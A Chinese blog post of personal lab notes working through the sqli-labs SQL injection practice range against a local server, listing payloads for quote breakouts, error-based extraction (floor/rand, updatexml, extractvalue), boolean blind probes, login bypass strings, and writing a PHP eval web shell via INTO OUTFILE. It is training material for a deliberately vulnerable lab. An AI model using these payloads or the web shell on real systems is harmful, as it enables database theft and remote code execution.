sqli-labs靶场记录

靶场笔记 2019-12-06 125 次浏览

level 1 单引号注入  表现在单引号 然后and 1=1 and 1=2    搞定。

payload:?id=1'(单引号)


level 2 数值型注入  表现在id=1 与id=2-1相同 然后说明是数值型注入,然后需要查看有没有显示位置,所以需要制造一个不存在的ID值如8888 得到显示位为2,3,然后
database() -》  user() ->root@localhost等    搞定。

payload:?id=2-1   ==>  ?id=1


level 3 引号字符型注入  表现在'不正常 但是') 又正常。  搞定。

payload:?id=1')时  and 1=1 --+ 与and 1=2 --+差异回显。


level 4 引号字符型注入   "  |  ")    搞定。

payload:?id=1")时  and 1=1 --+ 与and 1=2 --+差异回显。


level 5,6    无报错显示位置  三种报错函数:   无报错位置 需要制造报错函数

http://127.0.0.1/sqli-labs/Less-5/?id=1444%27%20and%20(select%201%20from%20(select%20count(*),concat(((select%20concat(schema_name,%27;%27)%20from%20information_schema.schemata%20limit%200,1)),floor%20(rand(0)*2))x%20from%20information_schema.schemata%20group%20by%20x)a)%20--+   #爆数据库


and (select 1 from (select count(*),concat(((select concat(table_name,';') from information_schema.tables where table_schema='security' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+


龟速..,    0为起始位置,1为跨度

and updatexml(1,payload,1)

and extractvalue(1, payload)

LV 7往外写文件..  需要 知道一个绝对路径  导入:   已搞定

http://127.0.0.1/sqli-labs/Less-7/?id=122%27))%20union%20select%201,2,3%20into%20outfile%20%22E:\\hi.txt%22--+


   #先在数据库里show variables like '%secure%';查看是否NULL,为NULL要成功写入必须要先在mysql.ini里加入secure_file_priv=

  • secure_file_priv为null    表示不允许导入导出

  • secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹

  • secure_file_priv没有设置时,则表示没有任何限制

Payload:?id=1')) union select 1,'2','<?php @eval($_POST["xx"]);?>' into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\xiaoha2i.php' %23


导出:

Payload:id=(('1')) union select 1,load_file ('D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\xiaoha2i.php'),'3' #'))


lv8 布尔盲注  根据返回是否正确来判断。。 

http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and%20LENGTH(database())%20%3E=%207%20%23  #数据库长度   ->  判断  ascii ->得到库名security


LV9 -LV10跳过。单双引号 
LV11  post型注入:   单引号注入

1.a' or '1'='1
2.admin' -- 
3.a'or 1=1 #

LV12 双引号注入
admin ") or 1=1 --   双引号注入。
或admin ") or 1=1 #

LV13   单引号变形  #封闭()
admin')or '1'='1'#

LV14  双引号变形 #封闭()
admin" or "1"="1

LV15 LV16 布尔盲注先跳过。
LV17  基于xml参数更新注入,

可以在mysql里练习 select concat(0x5e24,(select @@port),0x5e24);


a’ and updatexml(1,concat(0x5e24,(select <span id="kM0.17083351063526164">@<span id="kM0.5735300782977382">@port)</span></span>,0x5e24),1)# 无效语句。。

uname=admin&passwd=1' and (updatexml(1,concat(0x5c,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x5c),1))#submit=submit 他娘的还得在本机才成功。

LV18  日了你的仙人板板 一直不出现user-agent: 重装后好了。。
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '



赞 (0)
本文由 Aatrox 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

还不快抢沙发

添加新评论